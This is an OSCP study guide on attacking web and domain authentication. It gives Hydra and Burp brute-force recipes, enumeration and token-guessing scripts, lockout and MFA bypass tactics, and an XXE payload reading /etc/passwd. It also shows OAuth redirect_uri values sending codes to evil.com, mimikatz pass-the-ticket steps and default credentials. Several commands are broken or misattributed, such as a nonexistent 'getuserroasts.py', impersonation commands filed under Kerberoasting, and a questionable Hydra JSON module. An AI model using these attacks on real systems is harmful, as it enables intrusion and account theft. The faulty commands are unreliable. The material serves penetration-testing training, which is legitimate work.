Authentication Mechanisms
Overview
Authentication is the process of verifying a user’s identity. Web applications use various authentication mechanisms, each with its own strengths, weaknesses, and attack vectors. Understanding these mechanisms and how to exploit them is critical for OSCP exam success. This guide covers form-based authentication, HTTP Basic/Digest, OAuth 2.0, SAML, Kerberos, and MFA.
Authentication Methods Comparison
Overview Table
| Method | Encoding | Security Level | Common Use | Attack Surface |
|---|---|---|---|---|
| Form-based | Plaintext/Hashed | Medium | Web login forms | Brute force, enumeration |
| HTTP Basic | Base64 | Low | APIs, simple auth | Credential theft |
| HTTP Digest | MD5 hash | Medium | Legacy systems | Pass-the-hash |
| OAuth 2.0 | Bearer token | High (if configured) | Third-party auth | Redirect URI, token theft |
| OpenID Connect | JWT | High | SSO, identity | JWT attacks |
| SAML | XML signature | High | Enterprise SSO | XML injection, manipulation |
| Kerberos | Ticket-based | High | Windows domains | Pass-the-ticket |
| MFA | Multiple factors | Very High | Sensitive systems | Bypass, interception |
Form-Based Authentication
Form-based authentication is the most common method in OSCP labs. Users submit credentials via HTML forms, typically using POST requests.
How Form-Based Auth Works
1. User visits login page (GET /login)
2. User enters username and password
3. Browser sends POST /login with credentials
4. Server validates credentials against database
5. On success: Server creates session, sets cookie
6. On failure: Server returns error message
Attack Vector 1: Brute Force
Brute force attacks attempt to guess credentials by trying many combinations.
Using Hydra
# Basic syntax
hydra -l <username> -P <password_list> <target> <service_module>
# HTTP POST form login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-post-form "/login:username=^USER^&password=^PASS^:F=invalid"
# HTTP POST with JSON body
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-post-json "/api/login:^USER^:^PASS^:error"
# HTTP GET (credentials in URL)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-get "/admin?user=^USER^&pass=^PASS^:Wrong"
# With custom headers
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-m "Authorization: Basic " \
<target> http-head "/admin"
# Multiple threads and verbose output
hydra -t 64 -V -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-post-form "/login:username=^USER^&password=^PASS^:F=invalid"
# Common options:
# -t <threads> : Number of parallel threads (default: 16)
# -V : Verbose mode (show each attempt)
# -vV : Extra verbose (show responses)
# -f : Stop on first valid credential
# -e ns : Try null (n) and user (s) as password
# -o <file> : Output results to file
# -s <port> : Specify non-standard port
# -w <wait> : Wait time between attempts (seconds)
Using Burp Suite Intruder
Step 1: Capture the login request in Burp Proxy
Step 2: Send to Intruder (Right-click → Send to Intruder)
Step 3: Configure attack type:
- Sniper: One payload set, one position
- Battering Ram: One payload set, multiple positions (same value)
- Pitchfork: Multiple payload sets, parallel
- Cluster Bomb: Multiple payload sets, cartesian product
Step 4: Set positions (mark with §):
username=§admin§&password=§password§
Step 5: Load payload sets:
- Position 1: Username list (or single username)
- Position 2: Password list (rockyou.txt)
Step 6: Configure options:
- Thread count: 10-50 (depending on target)
- Delay: 0-1000ms (to avoid rate limiting)
- Grep - Extract: Response length, specific strings
Step 7: Start attack and analyze results:
- Sort by length: Different length = different response
- Look for: "Welcome", "Dashboard", redirect (302)
- Failed attempts usually show: "Invalid credentials", "Wrong password"
Common Hydra Modules
# HTTP forms
http-post-form
http-post-form-urlencoded
http-get
http-head
# HTTP authentication
http-get
http-head
http-post
# Other services
ssh
ftp
smtp
mysql
postgres
mssql
rdp
vnc
Attack Vector 2: Credential Stuffing
Credential stuffing uses leaked credentials from other breaches.
# Using Hydra with username:password list
hydra -L usernames.txt -P passwords.txt \
<target> http-post-form "/login:user=^USER^&pass=^PASS^:F=error"
# Using Burp Intruder with Cluster Bomb
# Payload set 1: usernames.txt
# Payload set 2: passwords.txt
# Attack type: Cluster Bomb
# Common credential lists:
# - HIBP (Have I Been Pwned) dumps
# - RockYou.txt
# - Custom lists from previous engagements
Attack Vector 3: Username Enumeration
Username enumeration occurs when the application reveals whether a username exists.
Detection Methods
1. Different error messages:
- "Invalid username" vs "Invalid password"
- "User not found" vs "Wrong password"
2. Different response times:
- Existing user: Longer (password hash comparison)
- Non-existing user: Faster (early return)
3. Different response lengths:
- Existing user: Longer response (more processing)
- Non-existing user: Shorter response
4. Different HTTP status codes:
- 200 for existing user
- 404 for non-existing user
5. Password reset behavior:
- "Password reset sent to user@example.com" (user exists)
- "User not found" (user doesn't exist)
Exploitation
# Using response length in Burp Intruder
# 1. Send request with valid username → note response length
# 2. Send request with invalid username → note response length
# 3. If lengths differ → enumeration possible
# Using time-based detection
python3 -c "
import requests
import time
usernames = ['admin', 'root', 'test', 'user', 'administrator']
for username in usernames:
start = time.time()
r = requests.post('http://target/login', data={
'username': username,
'password': 'wrongpassword'
})
elapsed = time.time() - start
print(f'{username}: {elapsed:.3f}s (length: {len(r.text)})')
"
Attack Vector 4: Password Reset Token Prediction
Weak password reset token generation can be exploited.
Detection
1. Request password reset for known user
2. Examine the reset token in the URL/email
3. Analyze token characteristics:
- Length (shorter = weaker)
- Character set (alphanumeric only = weaker)
- Predictability (sequential, timestamp-based, MD5)
- Rate limiting (can you request many resets?)
Common Weak Token Patterns
# Sequential tokens
http://target/reset?token=12345
http://target/reset?token=12346 # Next token is predictable
# Timestamp-based
http://target/reset?token=1609459200 # Unix timestamp
# MD5 hash of predictable data
http://target/reset?token=5d41402abc4b2a76b9719d911017c592 # MD5("hello")
# Short random tokens
http://target/reset?token=abc123 # Only 6 characters
# UUID (sometimes predictable)
http://target/reset?token=550e8400-e29b-41d4-a716-446655440000
Exploitation
# Brute-force reset token
hydra -P /path/to/token_wordlist \
<target> http-get "/reset/validate:^PASS^:invalid"
# Python script for token prediction
python3 -c "
import requests
import hashlib
# Try MD5 of common values
for i in range(10000, 10100):
token = hashlib.md5(str(i).encode()).hexdigest()
r = requests.get(f'http://target/reset?token={token}')
if 'success' in r.text or 'reset' in r.text:
print(f'Found token: {token} (from {i})')
break
"
Attack Vector 5: Account Lockout Bypass
Some applications lock accounts after failed attempts. Bypass techniques include:
1. Username case variation:
- Admin, ADMIN, admin, AdMiN
- Some systems treat these as different accounts
2. Username format variation:
- admin, admin@domain.com, admin@localhost
- Some systems don't normalize input
3. IP rotation:
- Lockout is per-IP, not per-account
- Use different source IPs
4. Lockout timing:
- Lockout resets after N minutes
- Continue attempts after reset
5. Multiple usernames:
- Try different usernames for same account
- admin, administrator, sysadmin, root
Attack Vector 6: Session Fixation
1. Obtain a valid session ID (visit the site)
2. Note the session cookie value
3. Send the session ID to the victim:
http://target/login?PHPSESSID=known_session_id
4. Victim logs in with the fixed session
5. Attacker uses the known session ID
HTTP Basic Authentication
HTTP Basic Auth encodes credentials in Base64 and sends them in the Authorization header.
How It Works
Request:
GET /admin HTTP/1.1
Host: target
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
# Decoded: admin:password
Base64 Encoding/Decoding
# Encode credentials
echo -n "admin:password" | base64
# Output: YWRtaW46cGFzc3dvcmQ=
# Decode credentials
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
# Output: admin:password
HTTP Basic Auth Attacks
Credential Theft
# Intercept via proxy (Burp, mitmproxy)
# Credentials are in every request header
# Capture from logs
grep "Authorization" /var/log/apache2/access.log
# Decode from captured header
echo "Basic YWRtaW46cGFzc3dvcmQ=" | awk '{print $2}' | base64 -d
Brute Force with Hydra
# HTTP Basic Auth brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-get "/admin"
# With custom path
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-head "/protected/resource"
# Multiple users
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
<target> http-get "/admin"
Pass-the-Hash Equivalent
Since Base64 is encoding (not hashing), capturing the header gives you the credentials directly.
# Reuse captured Authorization header
curl -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ=" http://target/admin/
HTTP Digest Authentication
HTTP Digest Auth uses MD5 hashing to avoid sending plaintext credentials.
How It Works
1. Client sends request
2. Server responds with 401 and challenge:
WWW-Authenticate: Digest realm="test", nonce="abc123", qop="auth"
3. Client computes response:
HA1 = MD5(username:realm:password)
HA2 = MD5(method:uri)
Response = MD5(HA1:nonce:nc:cnonce:qop:HA2)
4. Client sends request with response
HTTP Digest Auth Attacks
Pass-the-Hash
Since the response is an MD5 hash, you can replay it.
# Capture the digest response
# Reuse it in subsequent requests
# Using curl with digest auth
curl --digest -u admin:password http://target/admin/
# Using captured response
# Extract nonce, nc, cnonce, response from captured request
# Replay with same values (before nonce expires)
Brute Force with Hydra
# HTTP Digest brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
<target> http-get "/admin" -s 80
# Hydra automatically handles the digest challenge-response
OAuth 2.0
OAuth 2.0 is an authorization framework that allows third-party applications to obtain limited access to user accounts.
OAuth 2.0 Flows
Authorization Code Flow (Most Common)
1. User clicks "Login with Google"
2. App redirects user to Google:
https://accounts.google.com/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://app.com/callback&
response_type=code&
scope=email+profile&
state=RANDOM_STATE
3. User authenticates with Google and consents
4. Google redirects back with authorization code:
https://app.com/callback?code=AUTH_CODE&state=RANDOM_STATE
5. App exchanges code for access token:
POST https://accounts.google.com/oauth/token
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET&
code=AUTH_CODE&
redirect_uri=https://app.com/callback&
grant_type=authorization_code
6. Google returns access token:
{
"access_token": "ya29.xxx",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "1//0gx..."
}
Implicit Flow
1. Similar to authorization code flow
2. Token returned directly in URL fragment:
https://app.com/callback#access_token=xxx&token_type=Bearer&expires_in=3600
3. Less secure (token exposed in URL/browser history)
Client Credentials Flow
1. Client authenticates with its own credentials
2. No user interaction required
3. Used for server-to-server communication
POST https://auth.server.com/oauth/token
grant_type=client_credentials&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
Password Flow (Resource Owner Password Credentials)
1. User provides credentials directly to the app
2. App exchanges credentials for token
POST https://auth.server.com/oauth/token
grant_type=password&
username=user@example.com&
password=password123&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
OAuth 2.0 Attack Vectors
1. Open Redirect via redirect_uri
# Vulnerable authorization request
https://auth.server.com/authorize?
client_id=CLIENT_ID&
redirect_uri=https://evil.com/callback&
response_type=code
# Attacker creates malicious app:
# 1. Register OAuth app with attacker-controlled redirect_uri
# 2. Victim authorizes the app
# 3. Authorization code sent to attacker's server
# 4. Attacker exchanges code for access token
# Common open redirect patterns:
redirect_uri=https://evil.com
redirect_uri=https://app.com@evil.com
redirect_uri=https://app.com/evil.com
redirect_uri=https://app.com?redirect=evil.com
2. Authorization Code Interception
# Attack: Intercept the authorization code before it reaches the app
# Methods:
# 1. Open redirect (see above)
# 2. URL fragment leakage (implicit flow)
# 3. Referer header leakage
# 4. Browser history
# 5. Server logs
# Exploitation:
# 1. Intercept code from URL
# 2. Exchange code for token:
curl -X POST https://auth.server.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=INTERCEPTED_CODE" \
-d "redirect_uri=https://app.com/callback" \
-d "client_id=CLIENT_ID" \
-d "client_secret=CLIENT_SECRET"
3. PKCE Bypass
PKCE (Proof Key for Code Exchange) prevents authorization code interception.
# Without PKCE:
# Authorization code can be used by anyone who intercepts it
# With PKCE:
# 1. Client generates code_verifier (random string)
# 2. Client computes code_challenge = SHA256(code_verifier)
# 3. Client sends code_challenge in authorization request
# 4. Client sends code_verifier when exchanging code for token
# 5. Server verifies code_verifier matches code_challenge
# Bypass: If PKCE is optional, omit it
# If PKCE implementation is weak, try:
# - Empty code_verifier
# - Plain code_challenge (S256 vs plain)
# - Reusing code_verifier
4. Token Theft
# Access tokens can be stolen via:
# 1. XSS (access localStorage/sessionStorage)
# 2. Insecure storage (URL parameters, logs)
# 3. Network interception (no HTTPS)
# 4. Browser extensions
# 5. Malware
# Exploitation:
# Use stolen token directly:
curl -H "Authorization: Bearer STOLEN_TOKEN" http://target/api/user
5. Scope Manipulation
# Request excessive scopes
scope=email+profile+photos+drive+calendar
# Or request minimal scopes and escalate
# Some servers don't validate scope usage
# Exploitation:
# 1. Note the scopes granted in the token
# 2. Try accessing resources outside the granted scope
# 3. If server doesn't enforce scope → unauthorized access
6. Refresh Token Abuse
# Refresh tokens have longer lifetimes
# If stolen, they can be used to obtain new access tokens
# Exploitation:
curl -X POST https://auth.server.com/oauth/token \
-d "grant_type=refresh_token" \
-d "refresh_token=STOLEN_REFRESH_TOKEN" \
-d "client_id=CLIENT_ID"
SAML (Security Assertion Markup Language)
SAML is an XML-based standard for single sign-on (SSO).
How SAML Works
1. User accesses Service Provider (SP)
2. SP redirects user to Identity Provider (IdP) with SAML Request
3. User authenticates with IdP
4. IdP generates SAML Assertion (XML)
5. IdP sends SAML Response to SP
6. SP validates the assertion and creates session
SAML Assertion Structure
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="_response_id"
Version="2.0"
IssueInstant="2024-01-01T00:00:00Z"
Destination="https://sp.example.com/acs">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_assertion_id"
Version="2.0"
IssueInstant="2024-01-01T00:00:00Z">
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z"
NotOnOrAfter="2024-01-01T01:00:00Z"/>
<saml:AuthnStatement AuthnInstant="2024-01-01T00:00:00Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<!-- Digital signature -->
</ds:Signature>
</samlp:Response>
SAML Attack Vectors
1. XXE in SAML Assertions
<!-- Malicious SAML Assertion with XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
2. Assertion Manipulation
<!-- Modify NameID to impersonate admin -->
<saml:NameID>admin@example.com</saml:NameID>
<!-- Modify attributes -->
<saml:Attribute Name="role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
<!-- Extend validity -->
<saml:Conditions NotBefore="2020-01-01T00:00:00Z"
NotOnOrAfter="2030-01-01T00:00:00Z"/>
3. Signature Stripping
# If the SP doesn't properly validate signatures:
# 1. Remove the <ds:Signature> element from the assertion
# 2. Modify the assertion content
# 3. Send the modified assertion without signature
# 4. If SP accepts it → signature validation is broken
4. Replay Attacks
# SAML assertions can be replayed if:
# - No replay detection (InResponseTo check)
# - No timestamp validation
# - No one-time use enforcement
# Exploitation:
# 1. Capture a valid SAML Response
# 2. Replay it to the SP
# 3. If accepted → replay vulnerability confirmed
5. Certificate Confusion
# Attack: Use a different certificate to sign the assertion
# 1. Obtain a valid certificate (e.g., from public directory)
# 2. Sign a malicious assertion with that certificate
# 3. If SP trusts multiple certificates → attack succeeds
# Exploitation with samltool:
# Modify the assertion and re-sign with a trusted certificate
Kerberos Authentication
Kerberos is commonly used in Windows domain environments.
Kerberos Flow
1. AS-REQ: Client requests TGT from Key Distribution Center (KDC)
2. AS-REP: KDC returns TGT (encrypted with client's key)
3. TGS-REQ: Client requests service ticket using TGT
4. TGS-REP: KDC returns service ticket
5. AP-REQ: Client presents service ticket to service
6. Service validates ticket and grants access
Kerberos Attacks
Pass-the-Ticket
# Extract tickets from memory
mimikatz # sekurlsa::tickets /export
# Inject ticket
mimikatz # kerberos::ptt [id].kirbi
# Use the ticket
rpcclient.py -k -no-pass target.com
AS-REP Roasting
# Target users without pre-authentication required
getuserroasts.py domain.com/users.txt
# Crack the hash
hashcat -m 18200 asrep_hashes.txt /path/to/wordlist
Kerberoasting
# Request TGS for service accounts
getTGT.py domain.com/admin:password
getST.py -spn MSSQLSVC/service.domain.com -impersonate administrator domain.com/admin
# Crack the hash
hashcat -m 13100 tgs_hashes.txt /path/to/wordlist
Multi-Factor Authentication (MFA)
MFA requires multiple forms of verification.
MFA Types
Something you KNOW: Password, PIN
Something you HAVE: Phone, token, smart card
Something you ARE: Fingerprint, face, iris
MFA Bypass Techniques
1. Direct Admin Access
# Some applications have separate admin interfaces
# that don't require MFA:
http://target/admin/
http://target/api/admin/
2. MFA Fatigue
# Send multiple push notifications
# User eventually approves one out of annoyance
# Automated scripts can trigger many requests
3. Session Hijacking
# Steal session after MFA is completed
# MFA is only checked at login
# Session cookie theft bypasses MFA
4. MFA Code Interception
# SMS interception:
# - SIM swapping
# - SS7 attacks
# - Malware on phone
# Email interception:
# - Compromised email account
# - Email forwarding rules
5. Backup Code Abuse
# Backup codes are often:
# - Stored insecurely
# - Not rate-limited
# - Single-use but predictable
# Try common backup code patterns
# Or find them in:
# - Browser password managers
# - Notes apps
# - Printed documents
Authentication Enumeration Checklist
When You Find a Login Page
1. [ ] Check for default credentials
2. [ ] Try common username/password combinations
3. [ ] Test for username enumeration
4. [ ] Check password reset functionality
5. [ ] Test for brute force protection
6. [ ] Look for credential exposure in source code
7. [ ] Check for HTTP Basic Auth on other endpoints
8. [ ] Look for OAuth/SAML login options
9. [ ] Check for MFA bypass possibilities
10. [ ] Test for session fixation
Common Default Credentials
admin:admin
admin:password
admin:administrator
root:root
root:toor
user:user
test:test
guest:guest
administrator:administrator
postgres:postgres
mysql:mysql
Tools Summary
Brute Force Tools
# Hydra
hydra -l user -P wordlist.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=error"
# Medusa
medusa -H target -u admin -P wordlist.txt -M http -m DIR:/login
# Burp Suite Intruder
# Configure attack type, payloads, and options
# Sort by response length to find valid credentials
# ffuf
ffuf -u http://target/FUZZ -w users.txt -ic
# gobuster
gobuster dir -u http://target -w /path/to/wordlist
OAuth/SAML Tools
# SAML Raider (Burp extension)
# Intercept and modify SAML assertions
# samltool
# Generate and sign SAML assertions
# oauth2_proxy
# Test OAuth flows
# mitmproxy
# Intercept and modify OAuth requests
Kerberos Tools
# Impacket
getTGT.py
getST.py
secretsdump.py
# Mimikatz
sekurlsa::tickets
kerberos::ptt
# Rubeus
Rubeus.exe asktgt
Rubeus.exe asktgs
Key Takeaways
- Form-based auth is most common in OSCP labs — master brute force techniques
- Hydra is your primary brute force tool — know the syntax for each service
- HTTP Basic Auth sends Base64, not encrypted — credentials are easily decoded
- OAuth redirect_uri is a major attack vector — always check for open redirects
- SAML assertions can be manipulated — XXE, signature stripping, replay
- Kerberos tickets can be stolen and reused — pass-the-ticket attacks
- MFA can often be bypassed — look for direct admin access or session hijacking
- Username enumeration is often possible — different error messages or response times
- Password reset tokens may be predictable — analyze token generation
Exam Tips
- Always try default credentials first — they work surprisingly often
- Use Hydra with
-fflag to stop on first valid credential - When brute forcing, start with common usernames: admin, root, administrator, test
- Check for password reset functionality — it’s often more vulnerable than login
- Look for credentials in:
- Source code comments
- Configuration files
- Database dumps
- Log files
- Environment variables
- For OAuth, always check the redirect_uri parameter
- For SAML, use SAML Raider to intercept and modify assertions
- Document every authentication mechanism you find — it helps with reporting
- If brute force is rate-limited, try:
- Different usernames
- Password reset exploitation
- Credential stuffing with known breaches
- Session manipulation instead of login